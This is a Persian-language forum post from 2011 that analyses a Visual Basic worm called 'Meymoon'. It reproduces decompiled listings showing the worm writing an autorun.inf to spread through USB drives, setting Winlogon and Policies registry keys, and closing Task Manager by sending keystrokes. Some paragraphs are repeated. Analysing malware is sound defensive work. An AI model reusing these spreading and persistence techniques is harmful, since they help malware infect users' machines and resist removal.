04-30-2011، 09:45 AM
(آخرین تغییر در ارسال: 04-30-2011، 09:53 AM توسط Amin_Mansouri.)
به نام خدا
ویروس میمون از چند api استفاده میکند.
دارای 4 تایمر میباشد.
تایمر 1 500 میلی ثانیه
تایمر 2 1 دقیقه
تایمر 3 1 دقیقه
timQuit 500 میلی ثانیه
دارای کنترل درایو هست که لیست درایوها رو بدست میاره
داری کنترل فایل لیست باکس میباشد که کارش نمیاش لیست فایلها میباشد.
دارای ماجول کلاس HDSN میباشد که به همراه سورس کد دقیق این فایل پیوست کردم.
با دستور زیر فیال autorun میسازه که از طریق فلش دیسک یا مموری و .. پخش میشود.
فایل اصلی mp3_new.exe میباشد.
در کلیدهای زیر رجیستری کلیدهای ایجاد میکند
برای بستن task manager دکمه alt + f4 رو با تابع سند کی میفرسته
از تابع StrReverse هم استفاده میکند توضیحات بیشتر :
Returns a string in which the character order of a specified string is reversed.
Native to VB6, but not to VB5.
Declaration:
Function StrReverse(sExpression As String) As String
Arguments:
sExpression the string whose characters are to be reversed
Argument Values: Return Values:
sExpression is "" "" (zero-length string)
و باز ببنید اینجا رو دوباره با تابع SENDKEY دکمه اینتر رو میفرسته وفایل WKER.EXE رو فراخوانی میکند.
دز اینجا یک فایل دیگر به اسم v_set.dat میبینم نمیدونم این فایل دقیقا چیه چون تو محیط vM چک نکردم و این فایلو ندارم
اما در پایین سورس میبینم که فایلی را با OPEN باز میکند و با دستور PRINT روش مینیوسه و با CLOSE هم ان رو میبنده
از تابع INSTR هم استفاده کرده
Film_new.exe
mp3_new.exe
wker.exe
ehash.exe
با این 4 تا فایل هم کار میکند
که نیاز به انالیز 2 فایل دیگه هم دارم
ویروس میمون از چند api استفاده میکند.
کد:
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
'VA: 402E20
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'VA: 402DD4
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
'VA: 402D8C
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'VA: 402CDC
Private Declare Function GetLastError Lib "kernel32" () As Long
'VA: 402C74
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
'VA: 402C2C
Private Declare Sub RtlZeroMemory Lib "kernel32" ()
'VA: 402BE4
Private Declare Function DeviceIoControl Lib "kernel32" (ByVal hDevice As Long, ByVal dwIoControlCode As Long, lpInBuffer As Any, ByVal nInBufferSize As Long, lpOutBuffer As Any, ByVal nOutBufferSize As Long, lpBytesReturned As Long, lpOverlapped As OVERLAPPED) As Long
'VA: 402B9C
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
'VA: 402B58
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
'VA: 402B14
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
تایمر 1 500 میلی ثانیه
تایمر 2 1 دقیقه
تایمر 3 1 دقیقه
timQuit 500 میلی ثانیه
دارای کنترل درایو هست که لیست درایوها رو بدست میاره
داری کنترل فایل لیست باکس میباشد که کارش نمیاش لیست فایلها میباشد.
دارای ماجول کلاس HDSN میباشد که به همراه سورس کد دقیق این فایل پیوست کردم.
با دستور زیر فیال autorun میسازه که از طریق فلش دیسک یا مموری و .. پخش میشود.
کد:
loc_00409B3D: call Print #(004028F0h, 00000003h, "[autorun]")
loc_00409B46: var_04 = 6
loc_00409B59: call Print #(004028F0h, 00000003h, "open=mp3_new.exe")
loc_00409B62: var_04 = 7
loc_00409B75: call Print #(004028F0h, 00000003h, "shell\open\Command=mp3_new.exe")
در کلیدهای زیر رجیستری کلیدهای ایجاد میکند
کد:
loc_0040C4BE: call &("on\Winlo", "SOFTWARE\Microsoft\Windows NT\CurrentVersi", var_24)
loc_0040C674: call &("rer\Adva", "Software\Microsoft\Windows\CurrentVersion\Explo", var_24)
loc_0040C88B: call &("s\Syst", "Software\Microsoft\Windows\CurrentVersion\Policie", var_24)
از تابع StrReverse هم استفاده میکند توضیحات بیشتر :
Returns a string in which the character order of a specified string is reversed.
Native to VB6, but not to VB5.
Declaration:
Function StrReverse(sExpression As String) As String
Arguments:
sExpression the string whose characters are to be reversed
Argument Values: Return Values:
sExpression is "" "" (zero-length string)
و باز ببنید اینجا رو دوباره با تابع SENDKEY دکمه اینتر رو میفرسته وفایل WKER.EXE رو فراخوانی میکند.
کد:
loc_0040B816: call MSVBVM60.DLL.__vbaStrMove
loc_0040B81D: SendKeys MSVBVM60.DLL.__vbaStrMove, %x2
loc_0040B826: call MSVBVM60.DLL.__vbaFreeStr
loc_0040B82F: call MSVBVM60.DLL.__vbaFreeVar
loc_0040B835: var_04 = &H36
loc_0040B83C: var_48 = &H64
loc_0040B853: SendKeys "{enter}", 2
loc_0040B85C: call MSVBVM60.DLL.__vbaFreeVar
loc_0040B862: var_04 = &H37
loc_0040B872: call &(var_28, "Explorer")
loc_0040B87B: var_50 = 8
loc_0040B888: var_50 = Shell(00000001h, %x3)
loc_0040B88E: fstp real8 ptr var_000000E0
loc_0040B897: call MSVBVM60.DLL.__vbaFreeVar
loc_0040B89D: var_04 = &H38
loc_0040B8B1: call &("wker.exe", 40F024h, 00000027h)
loc_0040B8BC: call MSVBVM60.DLL.__vbaStrMove
loc_0040B8C3: SetAttr MSVBVM60.DLL.__vbaStrMove, %x2
اما در پایین سورس میبینم که فایلی را با OPEN باز میکند و با دستور PRINT روش مینیوسه و با CLOSE هم ان رو میبنده
کد:
loc_0040B5ED: call Open #(00000002h, FFFFFFFFh, 00000001h, MSVBVM60.DLL.__vbaStrMove)
loc_0040B5F6: call MSVBVM60.DLL.__vbaFreeStr
loc_0040B5FC: var_04 = &H2C
loc_0040B60E: call Print #(004028F0h, 00000001h, var_24)
loc_0040B617: var_04 = &H2D
loc_0040B62A: call Print #(004028F0h, 00000001h, 00402C4Ch)
loc_0040B633: var_04 = &H2E
loc_0040B646: call Print #(004028F0h, 00000001h, 00402C4Ch)
loc_0040B64F: var_04 = &H2F
loc_0040B662: call Print #(004028F0h, 00000001h, 00402C4Ch)
کد:
loc_0040AEEF: call InStr("", 00000000h, var_50, var_000000A0, 00000001h)
loc_0040AF01: call MSVBVM60.DLL.__vbaVarSub(var_70, var_000000B0, InStr("", 00000000h, var_50, var_000000A0, 00000001h))
loc_0040AF08: MSVBVM60.DLL.__vbaVarSub(var_70, var_000000B0, InStr("", 00000000h, var_50, var_000000A0, 00000001h)) = CLng(%x2)
loc_0040AF15: Left$(40F028h, MSVBVM60.DLL.__vbaVarSub(var_70, var_000000B0, InStr("", 00000000h, var_50, var_000000A0, 00000001h)))
loc_0040AF22: call MSVBVM60.DLL.__vbaStrMove
loc_0040AF3B: var_04 = 14
loc_0040AF4D: call &("~001_uv.tmp", 40F028h)
loc_0040AF5A: call MSVBVM60.DLL.__vbaStrMove
loc_0040AF60: var_04 = 15
loc_0040AF73: call &("~002_uv.tmp", 0040F028h)
loc_0040AF80: call MSVBVM60.DLL.__vbaStrMove
loc_0040AF86: var_04 = 16
loc_0040AF8D: Proc_0040BC90(MSVBVM60.DLL.__vbaStrMove, &("~002_uv.tmp", 0040F028h), 0040F030h)
loc_0040AF97: call MSVBVM60.DLL.__vbaStrMove
loc_0040AF9D: var_04 = &H11
loc_0040AFB5: call &("v_set.dat", 0040F024h, 00402494h)
loc_0040AFC0: call MSVBVM60.DLL.__vbaStrMove
loc_0040AFC7: Proc_0040A150(MSVBVM60.DLL.__vbaStrMove, &("v_set.dat", 0040F024h, 00402494h), "")
loc_0040AFD6: call MSVBVM60.DLL.__vbaFreeStr(MSVBVM60.DLL.__vbaStrMove)
loc_0040AFDC: movsx eax, word ptr ""
loc_0040AFE5: If MSVBVM60.DLL.__vbaFreeStr(MSVBVM60.DLL.__vbaStrMove) <> 0 Then
loc_0040AFEB: var_04 = &H12
loc_0040AFFE: call &("v_set.dat", 0040F024h)
loc_0040B009: call MSVBVM60.DLL.__vbaStrMove
loc_0040B016: call Open #(00000001h, FFFFFFFFh, 00000001h, MSVBVM60.DLL.__vbaStrMove)
loc_0040B01F: call MSVBVM60.DLL.__vbaFreeStr
loc_0040B025: var_04 = &H13
loc_0040B037: call Input #(00402C44h, 00000001h, var_28)
loc_0040B040: var_04 = &H14
loc_0040B057: If (var_24 = var_28) = 0 Then
loc_0040B059: var_04 = &H15
loc_0040B06B: call Input #(00402C44h, 00000001h, var_28)
loc_0040B074: var_04 = &H16
loc_0040B086: call Input #(00402C44h, 00000001h, var_28
mp3_new.exe
wker.exe
ehash.exe
با این 4 تا فایل هم کار میکند
که نیاز به انالیز 2 فایل دیگه هم دارم
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg